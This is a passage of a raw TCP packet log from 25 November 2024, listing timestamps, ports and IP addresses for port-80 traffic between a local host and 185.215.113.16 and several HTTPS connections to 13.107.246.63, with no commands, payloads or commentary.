Nov 25, 2024 18:28:34.201194048 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.201237917 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.201354980 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.202003002 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.202025890 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.202052116 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.202709913 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.202760935 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.202907085 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.204037905 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.204057932 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.204088926 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.205207109 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.205229998 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.205255032 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.205754042 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.205889940 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.206113100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.206671000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.206695080 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.206713915 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.207041979 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.207062960 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.207110882 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.207415104 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.207568884 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.207954884 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.208492041 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.208513975 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.208574057 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.209120035 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.209140062 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.209183931 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.210061073 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.210272074 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.210289955 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.210335016 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.210752964 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.210767984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.210805893 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.211262941 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.211282969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.211327076 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.212348938 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.212371111 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.212416887 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.212595940 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.212646008 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.212726116 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.213464022 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.213511944 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.213550091 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.214150906 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.214201927 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.214231968 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.214900970 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.214920044 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.214951038 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.228321075 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.280950069 CET	443	49753	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.281017065 CET	443	49753	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.281127930 CET	49753	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.281335115 CET	49753	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.281358004 CET	443	49753	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.281371117 CET	49753	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.281377077 CET	443	49753	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.284621954 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.284658909 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.284909964 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.285094023 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.285104990 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.314474106 CET	443	49754	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.314547062 CET	443	49754	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.314666986 CET	49754	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.314759970 CET	49754	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.314775944 CET	443	49754	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.314786911 CET	49754	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.314791918 CET	443	49754	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.317518950 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.317538977 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.317729950 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.317938089 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.317945004 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.337595940 CET	443	49755	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.337671995 CET	443	49755	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.337788105 CET	49755	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.337918997 CET	49755	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.337937117 CET	443	49755	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.337949991 CET	49755	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.337954998 CET	443	49755	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.340513945 CET	49761	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.340550900 CET	443	49761	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.340626001 CET	49761	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.340842009 CET	49761	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.340854883 CET	443	49761	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.376733065 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.376838923 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.377034903 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.377089977 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.377186060 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.377273083 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.377862930 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.377952099 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.378005028 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.378619909 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.378709078 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.378755093 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.379400015 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.379518032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.380150080 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.380167007 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.380265951 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.380312920 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.380908966 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.381021976 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.381079912 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.381683111 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.381787062 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.381834984 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.382535934 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.382620096 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.382664919 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.383193016 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.383332968 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.383377075 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.383965969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.384094000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.384146929 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.384732962 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.384836912 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.384890079 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.385468960 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.385601044 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.385727882 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.386245012 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.386471033 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.386516094 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.387201071 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.387296915 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.387342930 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.387813091 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.387911081 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.388231993 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.388545990 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.388662100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.389348030 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.389394999 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.389430046 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.390085936 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.390131950 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.390221119 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.390263081 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.390853882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.390954018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.390999079 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.391633034 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.391777992 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.391814947 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.392359018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.392462969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.392508030 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.393163919 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.393289089 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.393331051 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.393934011 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.393971920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.394016027 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.394731045 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.394810915 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.394923925 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.395433903 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.395560026 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.395610094 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.396205902 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.396270037 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.396434069 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.396934032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.397084951 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.397133112 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.397737026 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.397869110 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.397917032 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.398479939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.398516893 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.398556948 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.399244070 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.399347067 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.399386883 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.400073051 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.400351048 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.401057005 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.401098013 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.401137114 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.401798010 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.401844025 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.402035952 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.402679920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.402738094 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.402760029 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.402805090 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.403253078 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.403383970 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.403424978 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.403842926 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.403937101 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.403976917 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.404609919 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.404721022 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.404762983 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.405467987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.405536890 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.405575037 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.406120062 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.406224012 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.406264067 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.406841040 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.407048941 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.407085896 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.407644987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.407788992 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.407828093 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.408440113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.408579111 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.408624887 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.409171104 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.409285069 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.409326077 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.409898996 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.410062075 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.410121918 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.410669088 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.410903931 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.410953999 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.411139011 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.411449909 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.411561012 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.411606073 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.412199020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.412306070 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.412348986 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.412997007 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.413081884 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.413120031 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.413880110 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.413937092 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.414038897 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.414551973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.414733887 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.414819956 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.415371895 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.415395021 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.415432930 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.416050911 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.416131973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.416182041 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.416747093 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.426582098 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.427208900 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.427228928 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.427777052 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.427782059 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.439611912 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.494765997 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.494827986 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.494874001 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.495120049 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.495140076 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.495150089 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.495155096 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.499327898 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.499362946 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.500200033 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.502971888 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:34.502985001 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:34.583192110 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.583288908 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.583345890 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.583565950 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.583579063 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.583623886 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.584378958 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.584688902 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.584831953 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.585279942 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.585292101 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.585338116 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.586710930 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.586723089 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.586744070 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.586755991 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.586755991 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.586812019 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.587378979 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.587876081 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.588038921 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.588948011 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.588959932 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.588974953 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.589006901 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.590013981 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.590024948 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.590044975 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.590063095 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.590089083 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.591145039 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.591156960 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.591197014 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.591351986 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.592124939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.592137098 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.592149019 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.592220068 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.593228102 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.593240976 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.593281984 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.593833923 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.593844891 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.593875885 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.594575882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.594602108 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.594640970 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.595345020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.595356941 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.595391989 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.596287966 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.596302032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.596342087 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.596632957 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.596714973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.596760035 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.597285032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.597579956 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.597672939 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.598812103 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.598826885 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.598841906 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.598905087 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.598927021 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:34.598969936 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:34.600013971 CET	80	49752	185.215.113.16	192.168.2.6
